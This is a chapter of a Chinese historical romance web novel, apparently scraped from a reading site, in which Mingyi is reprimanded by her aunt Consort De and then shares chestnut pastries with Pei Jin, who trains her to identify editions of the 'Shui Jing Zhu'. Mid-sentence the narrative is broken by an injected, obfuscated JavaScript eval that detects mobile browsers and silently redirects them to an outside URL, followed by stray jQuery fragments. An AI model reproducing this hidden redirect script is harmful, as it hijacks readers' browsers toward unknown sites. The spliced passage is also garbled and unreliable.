22. 寻常

作品:《日月晦明

    翌日,明颐伴着谢欢容从文华殿回了钟粹宫后,便被德妃的贴身侍女单独唤到正殿的里屋内。


    沉香的气味扑鼻而来,小姑娘刚走进屋内,端坐在主座上的颜舜英就扶着扶手起身,低声喝道,“你跪下。”


    明颐心下了然,谢瑾已经把她自荐投身改革一事告知了德妃。她也知自己先斩后奏之举确实出格,便顺从跪在青砖之上,垂首等着挨训。


    “你这孩子。”颜舜英急急走到明颐面前,恨铁不成钢地看着这个外甥女,来来回回绕圈踱着步子,“今儿白日太子才派人来告诉我你干的荒唐事,你清不清楚他在干什么?他那身子骨又能撑得住几年?”


    “他若倒了,现在已经推行的新政靠谁来维持?孕育中的政策由谁来颁布?跟着他的所有人,有一个算一个,骨头都能被那些千年老狐狸扒净!”


    “大哥给我写信,让我在宫里好好照看着你,你是小华唯一的血脉。你告诉我,真出了什么事,等我到了地底下去,怎么面对小华?”


    明颐虽乖顺地低着头,心里却还是不服气,大着胆子争辩道,“可是姨母,您不是也一直以协理六宫之权偷偷帮太子殿下吗?”


    颜舜英接下来的训斥之语就这样被面前的小丫头噎住了一瞬。


    她确实一直都在暗中帮着太子。


    “姨母,不瞒您说,舅舅和颜昭哥也在帮太子殿下试种抗旱麦种。”


    “其实我一直都能猜到。”被明颐这样直白地说出来,颜舜英确定心中的猜想后,还是叹了口气,“于镇西军和西北百姓有益之事,以他的性子,不可能不参与。”


    “我相信母亲若是还活着,肯定也不会甘心一辈子就这样被困囿在明家内宅之中,她没机会做的,就由我替她来做。”


    颜舜英默了默,声音软下来不少,情绪却依旧激动,“可是小颐,自己做是一回事,不能由着孩子去涉险是另一回事。”


    “我们这些做长辈的,从不奢求孩子能去帮着开创什么盛世,只希望自己的孩子一生平安幸福。”


    明颐柔声劝道,“姨母,这是我心甘情愿的选择,母亲若是泉下有知,想必也会为我欣慰的。”


    颜舜英的目光再次投向明颐嘴角那道旧疤,似乎又想起来了亡妹年少时的模样。


    “起来吧。”


    最终,她还是和谢瑾一样妥协了。


    颜舜英把早已准备好的食盒递到明颐手上时,掌心里的茧再次抚上明颐的手背。


    “我们颜家的女儿,都是好样的。”


    明颐神情坚定,回握住颜舜英的手,两代镇西侯府女儿的千言万语,此刻都凝在了一瞬间目光的交汇里。


    暮鼓声催得夕阳急坠,明颐拎着装满板栗酥的食盒踏入藏书阁,恰见裴谨正坐在案前执笔蘸墨,握笔的指节却因用力泛起淡淡的红。


    明颐提着食盒立在门边,看暮色从窗间格栅漏进来,将少年的雪青袍子罩上一层淡淡的光。


    少年低垂的睫毛在眼下投出细密的影,眉间微蹙的沟壑里盛着未落的余晖,神情专注,全然没有发现少女的到来。


    “裴大人。”明颐生怕打扰到他,轻轻唤了一声。


    半月前,他们三人还是同样穿着雪青服制的伴读,如今春猎回来,他却抛弃了她和崔怀逸,摇身一变,成了从六品官员了。


    倒像画本子里的负心汉。


    明颐想到这儿,嘴角不由扬了扬。


    不过当负心汉确实也辛苦,白日仍旧要在文华殿陪谢珩读书,谢珩犯了错还是他来挨罚,下了学还要来藏书阁勘书到深夜。


    突然听见熟悉的声音,少年笔尖不由一顿,一滴浓墨洇开在面前的书页,抬眸时不自觉紧张地咽了下口水,喉结轻轻滚动,在脖颈上扯出一道紧绷的弧。


    “姑娘直接唤我大名便是。”裴谨搁笔起身,耳根微红,明颐只当是一声“大人”抬举他抬举得不好意思了。


    明颐腹诽道,这天才少年的心理素质确实不行,当个六品官被尊称一句就不好意思了,日后若真当了宰相,可如何是好?


    她拎着食盒走到桌案前,看着裴谨手忙脚乱地收拾案上的书,不由更觉得想笑。


    桌面终于腾出一方空隙,得以让明颐放下食盒,裴谨又给明颐搬了张板凳来,她道了声谢便坐在他对面。


    掀开食盒盖子,栗仁的香气扑鼻而来,即使刚用过晚膳,明颐也不由咽了咽口水,“娘娘小厨房做的板栗酥,趁热吃。”


    话是这么说,小姑娘却暗暗祈祷着这个算盘精能有点眼力价,别真一个人将一盒独吞了,多少给她这个跑腿的留两块。


    裴谨拿起一块板栗酥,掰了两半。明颐眼前一亮,以为他是要分给自己,刚要伸手去接,却发现对面的少年细细端详了那糕点半天又放回盒里,再去掰第二块、第三块。


    终于,在裴谨要掰第四块时,明颐当机立断按住了他的手,“裴谨,你就算不爱吃,也别祸害东西啊!”


    她的注意力全都集中在为板栗酥惋惜上,全然没有发现对面少年的耳根在她按上他的手的一刻,烧得更为厉害。


    “我,我怕这糕点里有什么密信。”


    裴谨甚至结巴了。


    “真有什么密信,我自会事先告诉你,这就是盒再普通不过的板栗酥,只管放心吃。”明颐听了这话简直哭笑不得——果然是她认识的做事最周全妥帖的裴谨,连吃个糕点都要紧绷着神经。


    裴谨更加不好意思地笑了笑,忙把手中那块还未遭荼毒的完整点心给明颐递过去,“姑娘先吃。”


    不吃独食,孺子可教也。


    明颐接过温热的板栗酥咬下一角,栗仁的甜香在唇齿间回荡,眼睛倏地发亮,把食盒往裴谨那边推了推,“好吃,你快尝尝!”


    裴谨拿了半块掰过的酥饼,余光偷偷看向面前腮帮微鼓的少女,嘴角也不自觉带了笑。


    很多年后,他一身紫蟒袍位极人臣的时候,时常会想起这个暮色暗涌的黄昏,她和他坐在藏书阁的窗边吃板栗酥的场景,彼时少年少女的肩上,还没有担起整个大荣的未来。


    当时只道是寻常。


    点心吃得差


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101723|163171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不多,二人一同收拾好桌面,裴谨便站起身来,引着明颐来到堆满旧卷的木架前,广袖一抬,扬起的灰尘呛得明颐不由咳了两声。


    “今日姑娘的任务,是在这藏书阁里要找出三本不同版本的《水经注》,分别是弘文馆刻本、永和六年手抄本,还有工部的删减本。”


    明颐望着满屋子浩繁的卷帙倒吸冷气——书多还不是最大的问题,最难办的是,这些杂乱堆叠的书脊上的题签早被蠹虫啃得斑驳难辨。


    莫非要她一本接一本拿出来翻?


    就算给她整整五日,她都不见得能找完!


    “看这里。”裴谨敏锐察觉出她的困惑,抬手就近抽出一本边缘泛黄的书册,指尖抚过书脊处细微的凹痕,“这是典型的弘文馆刻本,每册书脊都有固定位置的压痕。”


    说罢,他便看向身旁若有所思的明颐,“姑娘要做的是好好想想,怎么样才能最快找到。”


    他知道,小姑娘一点便透。


    明颐低头沉思片刻,忽然眼前一亮,“《水经注》抄本甚多,而永和年间只有六年的唯一一篇,为了避先皇后的名讳,湘江的湘字会刻意少写一笔。”


    少年眼底闪过赞许的神色,示意明颐开始寻找,自己又坐回桌案前挑灯重新校书。明颐一排排书架扫过去,不出半个时辰,便捧着三本书走到裴谨面前。


    裴谨一愣。


    比他预想的还要快上不少,他抬头看她时,在少女面上捕捉到了一闪而过的骄傲神色。


    “工部删减本又是怎么找得这样快?”


    明颐从手中三本书里抽出一卷靛蓝封皮的书,“我对比了其他几本工部特供的书籍,装订用的都是丝线,而非民间的麻线。"


    “聪明。”裴谨毫不吝啬地赞叹道,随即神情又变得严肃,“在复杂的干扰项中如何准确锁定目标是基础,要查贪腐,就要用这样的方式去水利拨款账目和徭役丁口册。”


    说罢,他便把这三本书塞进了食盒底部是夹层里,“姑娘回去好好看这三本书,背内容,更要想明白不同版本之间的区别。”


    明颐接过食盒,认真点了点头。


    裴谨一直把她到藏书阁外十几步远的地方,才略带歉意地驻足,“姑娘自己回去罢,近日勘校任务太重,裴某还得在这里待到深夜。”


    明颐看着他的眼睛,认真地说道,“谢谢你,裴谨,你真的很厉害。”


    少年低下头去,心再一次漏跳了半拍。


    他刚回过神要开口,明颐已经向前走到几步外的地方,忽然回头对着他绽出一个极灿烂的笑容。


    “裴谨,你以后就是我的师父了。”


    “你不想被唤裴大人,我也不愿意听你一口一个明姑娘,多生分啊。”


    “所以可不可以,直接叫我小颐?在玉门关的时候,舅舅和哥哥都这么叫我。”


    裴谨忽然觉得,自己心中的某一块地方一下子被某种说不清道不明的东西填得满满当当。


    他再一次抬起头时,面上满是温柔的笑意。


    “好,小颐。”